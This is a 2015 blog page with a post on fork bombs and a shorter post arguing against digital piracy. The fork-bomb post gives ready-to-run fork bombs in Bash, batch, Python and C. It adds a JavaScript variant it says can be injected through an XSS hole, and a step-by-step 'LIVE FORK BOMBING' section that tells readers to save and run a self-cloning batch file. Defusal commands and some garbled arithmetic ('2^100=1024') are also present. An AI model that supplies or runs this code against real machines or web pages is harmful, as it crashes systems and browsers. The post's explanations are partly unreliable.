Official blog of Data64

Monday 21 September 2015

FORK BOMB


FORK BOMB (also called WABBIT OR RABBIT VIRUS) is equivalent to a denial-of-service attack on your own system. It aims at depriving the system off its RAM (Random Access Memory), leaving none for vital action required to keep the system running,hence cracking it wherein a process continually replicates itself to deplete available system resources, causing and slowing or crashing the system it’s just a 5 characters long, the fork bomb is not deadly to the computer, just annoying.

History

The first version of a fork bomb called wabbit was reported to run on a system/360 in 1978. It have derived from a similar attack called RABBITS reported from 1969 at the University of Washington.

IMPLEMENTATION & OPERATION 


Fork bombs operate by consuming CPU time in the process of forking (it is an operation whereby aprocess creates a copy of itself. It is usually a system call implemented in the kernel Fork is the primary method of process creation on Unix-like operating systems.) , and by saturating the operating system process table.

A basic implementation of a fork bomb is an infinite loop that repeatedly launches the same process.
Every Program doubling itself is a form of exponential growth. After one iteration of the loop, two programs are created. After Another cycle each of these create other two for a total of four same programs after 10 iteration we have 2^10 =1024 programs after 100 iterations we have 2^100=1024 programs. After 100 iterations we have 2^100=1.267 nonillion
Even with Today’s CPUs and RAMs being in Giga Range, the first program will probably not even complete 50 iterations before running out of memory.
Every iteration would take around a few milliseconds, so running it will definitely crash the computer
In UNIX operating systems, fork bombs are generally written to use the fork system call. As forked processes are also copies of the first program, once they resume execution from the next address the frame pointer, they also seek to create a copy of themselves; this has the effect of causing an exponential growth in processes. As modern UNIX systems generally use copy-on-write when forking new processes, a fork bomb generally will not saturate such a system's memory.
Microsoft Windows operating systems do not have equivalent functionality to the UNIX fork system call a fork bomb on such an operating system must therefore create a new process instead of forking from an existing one.

How to do fork bombing in different operating system???

A fork bomb using the BASH (A Terminal used in LINUX) shell:
:(){ :|:& };:
A fork bomb using the Microsoft windows:
 :s
 Start "" %0
 goto s
The same as above, but shorter:
 %0|%0
Using Python:
import os
 while True:
     os.fork()
USING C:
#include <unistd.h>
int main(void)
{
    while(1)
        fork();
}
JAVA SCRIPT code that can be injected into a Web page via an XSS vulnerability exploit, resulting in a series of infinitely forking pop-up windows:
<script>
while (true) {
  var w = window.open();
w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML);
}
</script>
Or, a more aggressive version:
<script>
setInterval(function() {
var w = window.open();
w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML);
}, 10);
</script>

LIVE FORK BOMBING

Step 1: Copy the following code in notepad:
@echo off
set name=%0
set clone=1
:start
:clone
If not exist clone%clone%.bat (
copy "%name%" "clone%clone%.bat"
) else (
set /a clone=%clone%+1
GoTo clone
)
start %name%
start clone%clone%.bat
GoTo start
Pause
Step2 : Save it with a file extension .bat
Step3: Run it …..

DISADVANTAGES

Fork bombs are really very difficult to stop once started. Stopping a fork bomb from reproducing further requires stopping of all running copies, which is really very difficult to achieve.
The second major problem is that in the time taken between finding the processes to terminate and actually terminating them, more may have been created.
Some fork bombs can be stopped relatively easily.
:(){ :|: & };:
By replacing the function identifier: by bomb and re-indenting, the code reads:
bomb() {
  bomb | bomb &
};
bomb
Fork bomb is a function that  can run in the background, (&) ensures that the child process does not die and keeps forking new copies of the function and result in consuming system resources.
A “feature" in this  code means that a fork bomb process  no longer fork doesn't stick , but rather exits. In such a situation, if we try to run a new process, one will successfully start. If the new process does nothing,. At this point the do-nothing processes can exit. The following short  code might get rid of the above fork bomb in about a minute.
While (sleep 100 &) do; done
Alternatively, stopping ("freezing") the bomb's processes can be used so that a subsequent can terminate them without any of the parts re-replicating due to newly available process slots:
killall -STOP processWithBombName
killall -KILL processWithBombName
When a system is low on free PIDS (in Linux the maximum number of pids can be obtained from /proc/sys/kernel/pid_max), defusing a fork bomb becomes more difficult:
$ killall -9 processWithBombName
Bash: fork: Cannot allocate memory
In this case, defusing the fork bomb is only possible if at least one shell is open. Processes may not be forked, but one can execve() any program from the current shell. Typically, only one attempt is possible.
killall -9 is not executed directly from the shell because the command is not atomic and doesn't hold locks on the process list, so by the time it finishes the fork bomb will advance some generations ahead. So one must launch a couple of killall processes, for example:
while :; do killall -9 processWithBombName; done
On LINUX because the process table is made accessible through the /proc file system, it is possible to defuse the fork bomb using bash built-ins which do not require forking new processes. The following example identifies offending processes, and suspends them in order to prevent their continuing to fork while they are killed one at a time. This avoids the race condition of other examples, which can fail if the offending processes can fork faster than they are killed.
cd /proc && for p in [0-9]*; do read cmd < "$p/cmdline"; if  [[ $cmd = processWithBombName ]]; then kill -s STOP "$p" || kill -s KILL "$p"; fi; done

Preventive measures

The fork bomb's mode of operation is entirely encapsulated by creating new processes; one way of preventing a fork bomb from severely affecting the entire system is to limit the maximum number of processes that a single user may own.

Digital Piracy


The illegal trade of Software, Videos, Digital Video Devices (DVDs) and music. Piracy occurs when someone other than the copyright holder copies the product and resells it for a fraction of the cost that the legitimate producer charges. It is a serious problem in many of the countries outside the United States, particularly China and India.

History of Digital Piracy

The personal computer debuted on the cover of popular Electronics in January, 1975 and a year later Bill Gates of Microsoft was battling piracy as he was trying to get his fledgling company Microsoft off the ground.
In his letter to Software Pirates of that era, he wrote “Who cares if the people who worked on it get paid?“ 


 

Statistics of Digital Piracy

Online or digital internet piracy is a very serious problem which online community is facing.
One of the most famous website popular for the use of digital piracy is BitTorrent. It was developed by Bram Cohen in 2001.By splitting large files into sizable pieces, data can be widely distributed and shared without the original distributor incurring the entire costs of hardware, hosting and bandwidth resources. For a client to download the additional data, one must supply requested chunks of the larger file to newer recipients. Cohen’s implementation not only proved to be incredibly sufficient but also manged to exploit a legal loophole. While the initial releases of BitTorrent system depends on the trackers to operate, these servers answered the requests clients only by giving them the location of other computers who are concurrently sharing the same sought after file.
The fact is 70 % of online users find nothing wrong in online piracy and 67 % of digital piracy related websites are hosted in North America and Western Europe. There are some shocking features about Digital Piracy. There are mainly three big industries which get effected a lot by Digital Piracy. Those are-
  1. The Film Industry
  2. The Music Industry
  3. The Software Hub
The Motion Picture industry got highly effected in the year of 2005 by Digital Piracy. And the world wide motion pictures faced a loss of $20.5 billion annually.
The Software Hub missed out on more than $51 billion in profits last year as a result of software piracy.
Music sales in the U.S. have dropped 53 percent, from $14.6 billion to $7.0 billion in 2011 for Digital Piracy.

The most dark side of Digital Piracy is—

There is a relation between Pirated Software and Malware Infection. A 2006 International Data Corporation Research Firm revealed that 25 percent of websites offering access to pirated software and piracy-related tools were distributing malicious code that could undermine IT security and performance. In some cases, the websites exploited vulnerabilities in the users' computers to install the unwanted software automatically. In a study of 98 unique software piracy websites by the Business Software Alliance (BSA), it is found that 8% of the websites offer malicious or potentially unwanted software and 17% of the websites have multiple instances of malicious or potentially unwanted software. Also, in a BSA study of the rate of software piracy vs. malware infection in 10 unique countries, it is shown that the average ratio of software piracy to malware infection is 2:6.

Concluding Note

With such a high rate of getting affected through some Malware Infection or Virus Attack or some unwanted Software into your computer which may result your System Crash or your System working in an inconvenient way, Then why in search of Pirated Software ,Why to download them !!!!!! To put your computer at risk!!!!
Do not download the Pirated Software instead of that get the real Software by paying for them.

Copyright © Data64 ThinkPod | Powered by Blogger

Design by Anders Noren | Blogger Theme by NewBloggerThemes.com